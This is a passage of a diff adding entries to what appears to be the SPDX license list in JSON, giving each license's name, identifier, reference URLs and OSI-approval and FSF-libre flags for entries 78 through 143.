+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dcd1284c4a91a8a380d904eee68d1583f989ed386"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.3.json",
+ "referenceNumber": 78,
+ "name": "Open LDAP Public License v2.3",
+ "licenseId": "OLDAP-2.3",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dd32cf54a32d581ab475d23c810b0a7fbaf8d63c3"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-2.1.json",
+ "referenceNumber": 79,
+ "name": "Zope Public License 2.1",
+ "licenseId": "ZPL-2.1",
+ "seeAlso": [
+ "http://old.zope.org/Resources/ZPL/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Apache-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Apache-2.0.json",
+ "referenceNumber": 80,
+ "name": "Apache License 2.0",
+ "licenseId": "Apache-2.0",
+ "seeAlso": [
+ "https://www.apache.org/licenses/LICENSE-2.0",
+ "https://opensource.org/licenses/Apache-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-2.0.json",
+ "referenceNumber": 81,
+ "name": "SGI Free Software License B v2.0",
+ "licenseId": "SGI-B-2.0",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/SGIFreeSWLicB.2.0.pdf"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Hippocratic-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Hippocratic-2.1.json",
+ "referenceNumber": 82,
+ "name": "Hippocratic License 2.1",
+ "licenseId": "Hippocratic-2.1",
+ "seeAlso": [
+ "https://firstdonoharm.dev/version/2/1/license.html",
+ "https://github.com/EthicalSource/hippocratic-license/blob/58c0e646d64ff6fbee275bfe2b9492f914e3ab2a/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0-DE.json",
+ "referenceNumber": 83,
+ "name": "Creative Commons Attribution Share Alike 3.0 Germany",
+ "licenseId": "CC-BY-SA-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-1.0.json",
+ "referenceNumber": 84,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 1.0 Generic",
+ "licenseId": "CC-BY-NC-SA-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1-or-later.json",
+ "referenceNumber": 85,
+ "name": "GNU Lesser General Public License v2.1 or later",
+ "licenseId": "LGPL-2.1-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-US.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-US.json",
+ "referenceNumber": 86,
+ "name": "Creative Commons Attribution 3.0 United States",
+ "licenseId": "CC-BY-3.0-US",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/us/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/TCP-wrappers.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TCP-wrappers.json",
+ "referenceNumber": 87,
+ "name": "TCP Wrappers License",
+ "licenseId": "TCP-wrappers",
+ "seeAlso": [
+ "http://rc.quest.com/topics/openssh/license.php#tcpwrappers"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-invariants-or-later.json",
+ "referenceNumber": 88,
+ "name": "GNU Free Documentation License v1.2 or later - invariants",
+ "licenseId": "GFDL-1.2-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Eurosym.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Eurosym.json",
+ "referenceNumber": 89,
+ "name": "Eurosym License",
+ "licenseId": "Eurosym",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Eurosym"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1.json",
+ "referenceNumber": 90,
+ "name": "GNU Free Documentation License v1.1",
+ "licenseId": "GFDL-1.1",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.0.json",
+ "referenceNumber": 91,
+ "name": "LaTeX Project Public License v1.0",
+ "licenseId": "LPPL-1.0",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-0.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.0+.json",
+ "referenceNumber": 92,
+ "name": "GNU Library General Public License v2 or later",
+ "licenseId": "LGPL-2.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.0-standalone.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SGI-B-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SGI-B-1.0.json",
+ "referenceNumber": 93,
+ "name": "SGI Free Software License B v1.0",
+ "licenseId": "SGI-B-1.0",
+ "seeAlso": [
+ "http://oss.sgi.com/projects/FreeB/SGIFreeSWLicB.1.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APL-1.0.json",
+ "referenceNumber": 94,
+ "name": "Adaptive Public License 1.0",
+ "licenseId": "APL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/APL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/libtiff.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/libtiff.json",
+ "referenceNumber": 95,
+ "name": "libtiff License",
+ "licenseId": "libtiff",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/libtiff"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-2.1.json",
+ "referenceNumber": 96,
+ "name": "Academic Free License v2.1",
+ "licenseId": "AFL-2.1",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-2.1.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-1.0.json",
+ "referenceNumber": 97,
+ "name": "Creative Commons Attribution Non Commercial 1.0 Generic",
+ "licenseId": "CC-BY-NC-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/1.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GD.json",
+ "referenceNumber": 98,
+ "name": "GD License",
+ "licenseId": "GD",
+ "seeAlso": [
+ "https://libgd.github.io/manuals/2.3.0/files/license-txt.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-1.1.json",
+ "referenceNumber": 99,
+ "name": "Academic Free License v1.1",
+ "licenseId": "AFL-1.1",
+ "seeAlso": [
+ "http://opensource.linux-mirror.org/licenses/afl-1.1.txt",
+ "http://wayback.archive.org/web/20021004124254/http://www.opensource.org/licenses/academic.php"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-IGO.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-3.0-IGO.json",
+ "referenceNumber": 100,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 3.0 IGO",
+ "licenseId": "CC-BY-NC-ND-3.0-IGO",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/3.0/igo/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-DFS-2015.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-DFS-2015.json",
+ "referenceNumber": 101,
+ "name": "Unicode License Agreement - Data Files and Software (2015)",
+ "licenseId": "Unicode-DFS-2015",
+ "seeAlso": [
+ "https://web.archive.org/web/20151224134844/http://unicode.org/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-only.json",
+ "referenceNumber": 102,
+ "name": "GNU Free Documentation License v1.2 only",
+ "licenseId": "GFDL-1.2-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-1.1.json",
+ "referenceNumber": 103,
+ "name": "Mozilla Public License 1.1",
+ "licenseId": "MPL-1.1",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/MPL-1.1.html",
+ "https://opensource.org/licenses/MPL-1.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-only.json",
+ "referenceNumber": 104,
+ "name": "GNU General Public License v2.0 only",
+ "licenseId": "GPL-2.0-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-4.0.json",
+ "referenceNumber": 105,
+ "name": "Creative Commons Attribution Non Commercial 4.0 International",
+ "licenseId": "CC-BY-NC-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/FreeImage.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FreeImage.json",
+ "referenceNumber": 106,
+ "name": "FreeImage Public License v1.0",
+ "licenseId": "FreeImage",
+ "seeAlso": [
+ "http://freeimage.sourceforge.net/freeimage-license.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SHL-0.51.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SHL-0.51.json",
+ "referenceNumber": 107,
+ "name": "Solderpad Hardware License, Version 0.51",
+ "licenseId": "SHL-0.51",
+ "seeAlso": [
+ "https://solderpad.org/licenses/SHL-0.51/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CNRI-Jython.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CNRI-Jython.json",
+ "referenceNumber": 108,
+ "name": "CNRI Jython License",
+ "licenseId": "CNRI-Jython",
+ "seeAlso": [
+ "http://www.jython.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ZPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ZPL-1.1.json",
+ "referenceNumber": 109,
+ "name": "Zope Public License 1.1",
+ "licenseId": "ZPL-1.1",
+ "seeAlso": [
+ "http://old.zope.org/Resources/License/ZPL-1.1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Afmparse.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Afmparse.json",
+ "referenceNumber": 110,
+ "name": "Afmparse License",
+ "licenseId": "Afmparse",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Afmparse"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.1.json",
+ "referenceNumber": 111,
+ "name": "Open LDAP Public License v2.1",
+ "licenseId": "OLDAP-2.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003db0d176738e96a0d3b9f85cb51e140a86f21be715"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Rdisc.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Rdisc.json",
+ "referenceNumber": 112,
+ "name": "Rdisc License",
+ "licenseId": "Rdisc",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Rdisc_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Imlib2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Imlib2.json",
+ "referenceNumber": 113,
+ "name": "Imlib2 License",
+ "licenseId": "Imlib2",
+ "seeAlso": [
+ "http://trac.enlightenment.org/e/browser/trunk/imlib2/COPYING",
+ "https://git.enlightenment.org/legacy/imlib2.git/tree/COPYING"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-4-Clause-Shortened.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-4-Clause-Shortened.json",
+ "referenceNumber": 114,
+ "name": "BSD 4 Clause Shortened",
+ "licenseId": "BSD-4-Clause-Shortened",
+ "seeAlso": [
+ "https://metadata.ftp-master.debian.org/changelogs//main/a/arpwatch/arpwatch_2.1a15-7_copyright"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sendmail.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sendmail.json",
+ "referenceNumber": 115,
+ "name": "Sendmail License",
+ "licenseId": "Sendmail",
+ "seeAlso": [
+ "http://www.sendmail.com/pdfs/open_source/sendmail_license.pdf",
+ "https://web.archive.org/web/20160322142305/https://www.sendmail.com/pdfs/open_source/sendmail_license.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.5.json",
+ "referenceNumber": 116,
+ "name": "Creative Commons Attribution 2.5 Generic",
+ "licenseId": "CC-BY-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AAL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AAL.json",
+ "referenceNumber": 117,
+ "name": "Attribution Assurance License",
+ "licenseId": "AAL",
+ "seeAlso": [
+ "https://opensource.org/licenses/attribution"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-2.0-no-copyleft-exception.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-2.0-no-copyleft-exception.json",
+ "referenceNumber": 118,
+ "name": "Mozilla Public License 2.0 (no copyleft exception)",
+ "licenseId": "MPL-2.0-no-copyleft-exception",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/2.0/",
+ "https://opensource.org/licenses/MPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-2.5.json",
+ "referenceNumber": 119,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 2.5 Generic",
+ "licenseId": "CC-BY-NC-ND-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-NL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-NL.json",
+ "referenceNumber": 120,
+ "name": "Creative Commons Attribution 3.0 Netherlands",
+ "licenseId": "CC-BY-3.0-NL",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/nl/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPL-1.02.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPL-1.02.json",
+ "referenceNumber": 121,
+ "name": "Lucent Public License v1.02",
+ "licenseId": "LPL-1.02",
+ "seeAlso": [
+ "http://plan9.bell-labs.com/plan9/license.html",
+ "https://opensource.org/licenses/LPL-1.02"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ECL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ECL-1.0.json",
+ "referenceNumber": 122,
+ "name": "Educational Community License v1.0",
+ "licenseId": "ECL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/ECL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0-no-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0-no-RFN.json",
+ "referenceNumber": 123,
+ "name": "SIL Open Font License 1.0 with no Reserved Font Name",
+ "licenseId": "OFL-1.0-no-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-3.0-DE.json",
+ "referenceNumber": 124,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 3.0 Germany",
+ "licenseId": "CC-BY-NC-SA-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-3.0.json",
+ "referenceNumber": 125,
+ "name": "Creative Commons Attribution Share Alike 3.0 Unported",
+ "licenseId": "CC-BY-SA-3.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/3.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NTP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NTP.json",
+ "referenceNumber": 126,
+ "name": "NTP License",
+ "licenseId": "NTP",
+ "seeAlso": [
+ "https://opensource.org/licenses/NTP"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-2.0.json",
+ "referenceNumber": 127,
+ "name": "Mozilla Public License 2.0",
+ "licenseId": "MPL-2.0",
+ "seeAlso": [
+ "https://www.mozilla.org/MPL/2.0/",
+ "https://opensource.org/licenses/MPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-1.2.json",
+ "referenceNumber": 128,
+ "name": "Apple Public Source License 1.2",
+ "licenseId": "APSL-1.2",
+ "seeAlso": [
+ "http://www.samurajdata.se/opensource/mirror/licenses/apsl.php"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-no-invariants-only.json",
+ "referenceNumber": 129,
+ "name": "GNU Free Documentation License v1.2 only - no invariants",
+ "licenseId": "GFDL-1.2-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Artistic-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Artistic-2.0.json",
+ "referenceNumber": 130,
+ "name": "Artistic License 2.0",
+ "licenseId": "Artistic-2.0",
+ "seeAlso": [
+ "http://www.perlfoundation.org/artistic_license_2_0",
+ "https://www.perlfoundation.org/artistic-license-20.html",
+ "https://opensource.org/licenses/artistic-license-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0.json",
+ "referenceNumber": 131,
+ "name": "GNU General Public License v2.0 only",
+ "licenseId": "GPL-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html",
+ "https://opensource.org/licenses/GPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/RSCPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RSCPL.json",
+ "referenceNumber": 132,
+ "name": "Ricoh Source Code Public License",
+ "licenseId": "RSCPL",
+ "seeAlso": [
+ "http://wayback.archive.org/web/20060715140826/http://www.risource.org/RPL/RPL-1.0A.shtml",
+ "https://opensource.org/licenses/RSCPL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Sleepycat.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Sleepycat.json",
+ "referenceNumber": 133,
+ "name": "Sleepycat License",
+ "licenseId": "Sleepycat",
+ "seeAlso": [
+ "https://opensource.org/licenses/Sleepycat"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/xpp.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/xpp.json",
+ "referenceNumber": 134,
+ "name": "XPP License",
+ "licenseId": "xpp",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/xpp"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Sharing-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Sharing-1.0.json",
+ "referenceNumber": 135,
+ "name": "Community Data License Agreement Sharing 1.0",
+ "licenseId": "CDLA-Sharing-1.0",
+ "seeAlso": [
+ "https://cdla.io/sharing-1-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ClArtistic.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ClArtistic.json",
+ "referenceNumber": 136,
+ "name": "Clarified Artistic License",
+ "licenseId": "ClArtistic",
+ "seeAlso": [
+ "http://gianluca.dellavedova.org/2011/01/03/clarified-artistic-license/",
+ "http://www.ncftp.com/ncftp/doc/LICENSE.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0-only.json",
+ "referenceNumber": 137,
+ "name": "Affero General Public License v1.0 only",
+ "licenseId": "AGPL-1.0-only",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-DE.json",
+ "referenceNumber": 138,
+ "name": "Creative Commons Attribution 3.0 Germany",
+ "licenseId": "CC-BY-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-2.0.json",
+ "referenceNumber": 139,
+ "name": "Academic Free License v2.0",
+ "licenseId": "AFL-2.0",
+ "seeAlso": [
+ "http://wayback.archive.org/web/20060924134533/http://www.opensource.org/licenses/afl-2.0.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Intel.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Intel.json",
+ "referenceNumber": 140,
+ "name": "Intel Open Source License",
+ "licenseId": "Intel",
+ "seeAlso": [
+ "https://opensource.org/licenses/Intel"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-no-invariants-or-later.json",
+ "referenceNumber": 141,
+ "name": "GNU Free Documentation License v1.1 or later - no invariants",
+ "licenseId": "GFDL-1.1-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/APAFML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APAFML.json",
+ "referenceNumber": 142,
+ "name": "Adobe Postscript AFM License",
+ "licenseId": "APAFML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AdobePostscriptAFM"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2.json",
+ "referenceNumber": 143,
+ "name": "GNU Free Documentation License v1.2",
+ "licenseId": "GFDL-1.2",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
